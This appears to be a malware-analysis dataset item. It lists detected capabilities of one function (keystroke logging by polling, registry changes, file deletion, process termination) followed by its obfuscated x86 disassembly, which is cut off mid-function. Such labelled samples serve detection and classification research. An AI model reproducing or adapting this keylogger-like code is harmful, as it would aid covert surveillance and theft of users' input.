Function at 0x1002e43f
Capabilities:
Accept command line arguments
Check os version
Connect pipe
Create pipe
Create thread
Delete file
Delete registry value
Get common file path
Get disk information
Get file size
Get memory capacity
Get system information on windows
Log keystrokes
Log keystrokes via polling
Parse pe header
Read .ini file
Set environment variable
Set registry value
Terminate process

Disassembly:
mov eax, 0x100829d3
call fcn.100812e0
mov eax, 0x159c
call fcn.10069a00
push ebx
xor eax, eax
mov byte [ebp - 0x51], dl
mov dword [ebp - 0x20], eax
or ebx, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], eax
push esi
mov dword [ebp - 0x30], 0x6524f204
push edi
xor edi, edi
mov dword [ebp - 0x50], ecx
inc edi
mov dword [ebp - 0x904], edi
mov dword [ebp - 0x900], edi
mov dword [ebp - 0x8fc], edi
mov dword [ebp - 0x8f8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe7
jg 0x1002e594
mov dword [ebp - 0x2c], ebx
lea ecx, [ebp - 0x730]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 0x12af04
mov dword [ebp - 0x30], 0x368a9017
mov dword [ebp - 0x30], 0xfffffffe
push 3
call fcn.100177e6
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0x7e318b47
mov dword [ebp - 0x44], 0x69e8a28d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002e502
push dword [ebp - 0x14]
lea ecx, [ebp - 0x730]
call fcn.10017853
mov dword [eax], 0xa63a74ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002e4e3
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002e53f
dec dword [ebp - 0x18]
lea ecx, [ebp - 0x730]
push edi
call fcn.10017853
mov ecx, dword [ebp - 0x900]
add ecx, 3
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
add edx, ecx
xor ecx, ecx
cmp eax, edi
setge cl
imul ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
imul eax, edx
sub eax, ecx
jne 0x1002e53f
mov esi, eax
jmp 0x1002e541
mov esi, edi
push edi
lea ecx, [ebp - 0x730]
call fcn.10017853
xor edx, edx
sub esi, dword [eax]
mov eax, dword [ebp - 0x900]
add esi, 0x2b29
cmp esi, 0x2614f5c6
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x730]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], ebx
call fcn.1001784e
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe7
push 0
pop eax
jle 0x1002e49f
push 2
pop ebx
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x2dc]
push ebx
call fcn.100177e6
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x48], 0x3631e19e
mov dword [ebp - 0x14], 0x8bdfadf6
mov dword [ebp - 0x38], 0xa68fab8d
mov dword [ebp - 0x2c], 0xef874ac
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002e5fb
push dword [ebp - 0x10]
lea ecx, [ebp - 0x2dc]
call fcn.10017853
mov dword [eax], 0x2faf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e5dd
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002e611
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x134c], 0xf85a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002e600
push edi
lea ecx, [ebp - 0x2dc]
call fcn.10017853
xor ecx, ecx
cmp dword [eax], ecx
setne cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
je 0x1002e694
push edi
lea ecx, [ebp - 0x2dc]
call fcn.10017853
push edi
lea ecx, [ebp - 0x2dc]
call fcn.10017853
cmp dword [eax], 0x8df0
jne 0x1002e660
push edi
lea ecx, [ebp - 0x2dc]
call fcn.10017853
dec dword [ebp - 0x14]
lea ecx, [ebp - 0x2dc]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xc4b7c700
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
push edi
call fcn.10017853
push edi
lea ecx, [ebp - 0x2dc]
call fcn.10017853
mov esi, dword [ebp - 0x48]
lea ecx, [ebp - 0x2dc]
neg esi
push edi
sbb esi, esi
neg esi
call fcn.10017853
xor edx, edx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x38]
imul ecx, esi
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1344]
cmp eax, 0x50e8
setge cl
or esi, 0xffffffff
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 4], esi
call fcn.1001784e
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x24], 0x54dbbe5
mov dword [ebp - 0x18], 0xffff
push 4
call fcn.100177e6
xor eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002e737
push dword [ebp - 0x10]
lea ecx, [ebp - 0x280]
call fcn.10017853
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002e718
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002e757
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x688], 0xf0451807
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e73f
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002e75f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x280]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
push 3
call fcn.10017853
push edi
lea ecx, [ebp - 0x280]
call fcn.10017853
xor ebx, ebx
lea ecx, [ebp - 0x280]
push 3
cmp dword [eax], 0xa6b2
setg bl
call fcn.10017853
mov eax, dword [eax]
imul eax, ebx
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002e7d3
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1002e80f
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor eax, eax
jmp 0x1002e80f
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], eax
jmp 0x1002e7f0
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002e7ed
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffffa
jge 0x1002e7db
mov dword [ebp - 0x40], eax
jmp 0x1002e809
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x2c], eax
jne 0x1002e80f
inc dword [ebp - 0x38]
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffffe
jne 0x1002e7fb
push 3
mov dword [ebp - 0x24], eax
pop ebx
cmp dword [ebp - 0x24], ebx
jg 0x1002e98e
jmp 0x1002e822
xor eax, eax
mov dword [ebp - 0x30], 0x600ac80e
lea ecx, [ebp - 0x5fc]
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0x642ee1e3
mov dword [ebp - 0x30], 0xac77acae
mov dword [ebp - 0x18], eax
push ebx
call fcn.100177e6
mov byte [ebp - 4], bl
xor eax, eax
mov dword [ebp - 0x2c], 0x3efbb05d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002e87e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1458], 0x8140a971
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002e865
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002e89a
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5fc]
call fcn.10017853
mov dword [eax], 0x3f8c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e883
mov dword [ebp - 0x40], 0x2a6add33
lea ecx, [ebp - 0x280]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1454], eax
mov dword [ebp - 0x684], eax
push dword [ebp - 0x24]
call fcn.10017853
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x280]
inc dword [ebp - 0x18]
push dword [ebp - 0x24]
call fcn.10017853
push ebx
lea ecx, [ebp - 0x280]
call fcn.10017853
push dword [ebp - 0x24]
lea ecx, [ebp - 0x280]
call fcn.10017853
xor eax, eax
lea ecx, [ebp - 0x5fc]
push eax
call fcn.10017853
xor eax, eax
lea ecx, [ebp - 0x5fc]
push eax
call fcn.10017853
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x684]
mov eax, dword [ebp - 0x684]
mov eax, dword [ebp - 0x24]
sub eax, 0xc2888a0
jne 0x1002e93d
push edi
lea ecx, [ebp - 0x5fc]
call fcn.10017853
cmp dword [eax], 0
jne 0x1002e93d
xor eax, eax
mov esi, eax
jmp 0x1002e93f
mov esi, edi
push dword [ebp - 0x24]
lea ecx, [ebp - 0x280]
call fcn.10017853
xor ecx, ecx
test esi, esi
sete cl
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x5fc]
mov eax, dword [ebp - 0x44]
setne dl
sub edx, eax
xor eax, eax
cmp edx, 0x7f1a9f13
setne al
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 2
call fcn.1001784e
inc dword [ebp - 0x24]
push 0xffffffffffffffff
pop esi
cmp dword [ebp - 0x24], ebx
jle 0x1002e820
or esi, esi
lea ecx, [ebp - 0x280]
mov dword [ebp - 4], esi
call fcn.1001784e
mov dword [ebp - 0x3c], 0x647f1a96
xor eax, eax
mov dword [ebp - 0x48], 0xe52509e7
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x3c], eax
je 0x1002ea3a
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x14], eax
jne 0x1002e9f8
mov eax, dword [ebp - 0x3c]
xor edx, edx
cmp eax, edi
setle dl
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xfe5a
jle 0x1002e9f8
xor eax, eax
mov edx, eax
jmp 0x1002e9fa
mov edx, edi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
imul ecx, dword [ebp - 0x14]
neg ecx
je 0x1002ea29
mov edx, edi
cmp dword [ebp - 0x3c], eax
jne 0x1002ea2b
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
jmp 0x1002ea8b
mov dword [ebp - 0x3c], 0xe
cmp dword [ebp - 0x3c], 0x25
jl 0x1002ea77
mov dword [ebp - 0x14], eax
jmp 0x1002ea5d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x648], 0x74b6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ea4c
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x25
push 0
pop eax
jge 0x1002ea47
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002ea8b
push 0x9dc
call dword [sym.imp.USER32.dll_GetKeyState]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x494]
mov dword [ebp - 0x18], 8
push ebx
call fcn.100177e6
mov dword [ebp - 4], 4
lea ecx, [ebp - 0xb18]
mov dword [ebp - 0x30], esi
xor eax, eax
mov dword [ebp - 0x30], 0x6e30f4ae
mov dword [ebp - 0x48], 0xc07e17f7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x38], 8
push 2
call fcn.100177e6
push 5
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x30], 0xfffa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002eb08
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x700], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002eaf0
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002eb24
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb18]
call fcn.10017853
mov dword [eax], 0x3147f59e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002eb0d
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
add eax, ecx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
lea ecx, [ebp - 0xb18]
setl dl
mov dword [ebp - 0x700], edx
mov eax, dword [ebp - 0x14]
add eax, edx
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x700]
add eax, dword [ebp - 0x48]
cmp esi, eax
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10017853
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
cmp eax, esi
setl cl
imul eax, ecx, 3
lea ecx, [ebp - 0xb18]
add eax, 0x73598422
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x6fc], eax
mov byte [ebp - 4], 4
call fcn.1001784e
mov dword [ebp - 0x28], edi
or esi, 0xffffffff
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x30], 0x69576881
push 9
pop eax
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x30], 0x9b46
mov dword [ebp - 0x10], 0xfffffff0
jmp 0x1002ecce
mov dword [ebp - 0x48], 0xa12b57e8
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0xb64b5c6f
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x30], 0xa75a592c
mov dword [ebp - 0x30], 0xbae0fc36
mov dword [ebp - 0x30], 0x678e045d
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x48], 0xffffffed
jmp 0x1002ecc1
mov dword [ebp - 0x30], 0x2c9cc141
lea ecx, [ebp - 0xee0]
mov dword [ebp - 0x30], 0xfa5f9c71
mov dword [ebp - 0x30], 0x3f0d3ecf
push 2
call fcn.100177e6
mov byte [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x38], 0xb7e2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ec9b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xee0]
call fcn.10017853
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ec7c
xor eax, eax
dec dword [ebp - 0x38]
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002ecaf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [ebp - 0xee0]
mov byte [ebp - 4], 4
call fcn.1001784e
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff4
jge 0x1002ec44
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 8
jge 0x1002ec0b
push edi
lea ecx, [ebp - 0x3ec]
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002ed0c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1470], 0xdc85
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002ecf3
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002ed32
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3ec]
call fcn.10017853
mov dword [eax], 0xe76f5020
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002ed14
xor eax, eax
push eax
lea ecx, [ebp - 0x3ec]
call fcn.10017853
lea ecx, [ebp - 0x3ec]
mov dword [eax], ebx
xor eax, eax
push eax
call fcn.10017853
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
jmp 0x1002edaa
xor eax, eax
lea ecx, [ebp - 0x3ec]
push eax
call fcn.10017853
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x1470], 0
jne 0x1002edaf
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1002ed8e
push 0x2131
push eax
call ebx
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
xor eax, eax
push eax
lea ecx, [ebp - 0x3ec]
call fcn.10017853
lea ecx, [ebp - 0x3ec]
dec dword [eax]
xor eax, eax
push eax
call fcn.10017853
cmp dword [eax], 0
jge 0x1002ed56
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 4
call fcn.1001784e
mov dword [ebp - 0x30], 0xd47ebdcf
xor eax, eax
mov dword [ebp - 0x40], 0xa597
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x6524f204
mov dword [ebp - 0x97c], edi
mov dword [ebp - 0x978], edi
mov dword [ebp - 0x974], edi
mov dword [ebp - 0x970], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffe7
push 3
pop ebx
jg 0x1002ef03
mov dword [ebp - 0x2c], esi
lea ecx, [ebp - 0x8b0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 0x12af04
mov dword [ebp - 0x30], 0x368a9017
mov dword [ebp - 0x30], 0xfffffffe
push ebx
call fcn.100177e6
mov byte [ebp - 4], 8
xor eax, eax
mov dword [ebp - 0x30], 0x7e318b47
mov dword [ebp - 0x44], 0x69e8a28d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002ee6d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8b0]
call fcn.10017853
mov dword [eax], 0xa63a74ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ee4f
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002eeaa
dec dword [ebp - 0x18]
lea ecx, [ebp - 0x8b0]
push edi
call fcn.10017853
mov ecx, dword [ebp - 0x978]
add ecx, 3
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
add edx, ecx
xor ecx, ecx
cmp eax, edi
setge cl
imul ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
imul eax, edx
sub eax, ecx
jne 0x1002eeaa
mov esi, eax
jmp 0x1002eeac
mov esi, edi
push edi
lea ecx, [ebp - 0x8b0]
call fcn.10017853
xor edx, edx
sub esi, dword [eax]
mov eax, dword [ebp - 0x978]
add esi, 0x2b29
cmp esi, 0x2614f5c6
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x8b0]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 4
call fcn.1001784e
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffe7
push 0
pop eax
push 0xffffffffffffffff
pop esi
jle 0x1002ee0c
mov dword [ebp - 0x2c], 0xac691c6c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002ef30
push dword [ebp - 0x10]
lea ecx, [ebp - 0x494]
call fcn.10017853
mov dword [eax], 0xd5feaf86
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002ef12
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002ef46
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe00], 0xdb06862e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002ef35
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x48], eax
jmp 0x1002f1b4
push 2
lea ecx, [ebp - 0xb60]
call fcn.100177e6
push 9
pop eax
push ebx
lea ecx, [ebp - 0xb48]
mov byte [ebp - 4], al
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002efd4
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb60]
call fcn.10017853
mov dword [eax], 0x8d08f492
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002efb5
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002eff0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb48]
call fcn.10017853
mov dword [eax], 0x16971db9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002efd9
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x1002f197
mov dword [ebp - 0x38], 0xfffffffe
lea ecx, [ebp - 0xf88]
push 2
call fcn.100177e6
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xb30]
mov dword [ebp - 0x44], 0xef54
push ebx
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f063
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf88]
call fcn.10017853
mov dword [eax], 0xd594484f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f044
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f07f
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb30]
call fcn.10017853
mov dword [eax], 0xfa7bb34e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f068
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x494]
call fcn.10017853
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x494]
mov esi, eax
call fcn.10017853
mov ecx, dword [esi]
push dword [ebp - 0x3c]
mov dword [eax], ecx
lea ecx, [ebp - 0x494]
call fcn.10017853
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x494]
call fcn.10017853
mov ecx, dword [ebp - 0x40]
mov eax, dword [eax]
inc dword [ebp - 0x40]
cmp eax, ecx
jle 0x1002f107
mov dword [ebp - 0xe00], edi
mov ecx, edi
mov eax, dword [ebp - 0x38]
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xb30]
push edi
setne bl
call fcn.10017853
mov dword [eax], ebx
test ebx, ebx
jne 0x1002f137
push 2
lea ecx, [ebp - 0xb48]
call fcn.10017853
cmp dword [eax], ebx
jne 0x1002f137
xor eax, eax
jmp 0x1002f139
xor eax, eax
lea ecx, [ebp - 0x494]
mov dword [ebp - 0xe00], eax
push dword [ebp - 0x3c]
call fcn.10017853
push edi
lea ecx, [ebp - 0xb60]
mov esi, eax
call fcn.10017853
mov ecx, dword [eax]
cmp ecx, dword [esi]
je 0x1002f0d4
xor eax, eax
mov ecx, eax
jmp 0x1002f0d6
mov eax, edi
cmp eax, dword [ebp - 0x28]
jl 0x1002f149
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002f14b
mov edx, edi
jmp 0x1002f14d
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edi
lea ecx, [ebp - 0xb30]
setg al
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
call fcn.1001784e
lea ecx, [ebp - 0xf88]
mov byte [ebp - 4], 0xa
call fcn.1001784e
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
push 3
pop ebx
jle 0x1002f00a
lea ecx, [ebp - 0xb48]
call fcn.1001784e
lea ecx, [ebp - 0xb60]
mov byte [ebp - 4], 4
call fcn.1001784e
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff7
jle 0x1002ef87
or esi, 0xffffffff
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], esi
call fcn.1001784e
xor eax, eax
lea ecx, [ebp - 0x470]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], 0x647f1a96
mov dword [ebp - 0x48], 0xe52509e7
push ebx
call fcn.100177e6
mov dword [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0x6e30f4ae
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xd47ebdcf
mov dword [ebp - 0x18], 0xa597
mov dword [ebp - 0x2c], 0xac691c6c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002f245
push dword [ebp - 0x10]
lea ecx, [ebp - 0x470]
call fcn.10017853
mov dword [eax], 0xd5feaf86
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f227
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f25b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe18], 0xdb06862e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f24a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff7
jg 0x1002f4d9
push 2
lea ecx, [ebp - 0xc2c]
call fcn.100177e6
push ebx
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0xe
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f2ec
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc2c]
call fcn.10017853
mov dword [eax], 0x8d08f492
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f2cd
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f308
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb90]
call fcn.10017853
mov dword [eax], 0x16971db9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f2f1
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x1002f4af
mov dword [ebp - 0x38], 0xfffffffe
lea ecx, [ebp - 0xef8]
push 2
call fcn.100177e6
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb78]
mov dword [ebp - 0x44], 0xef54
push ebx
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f37b
push dword [ebp - 0x10]
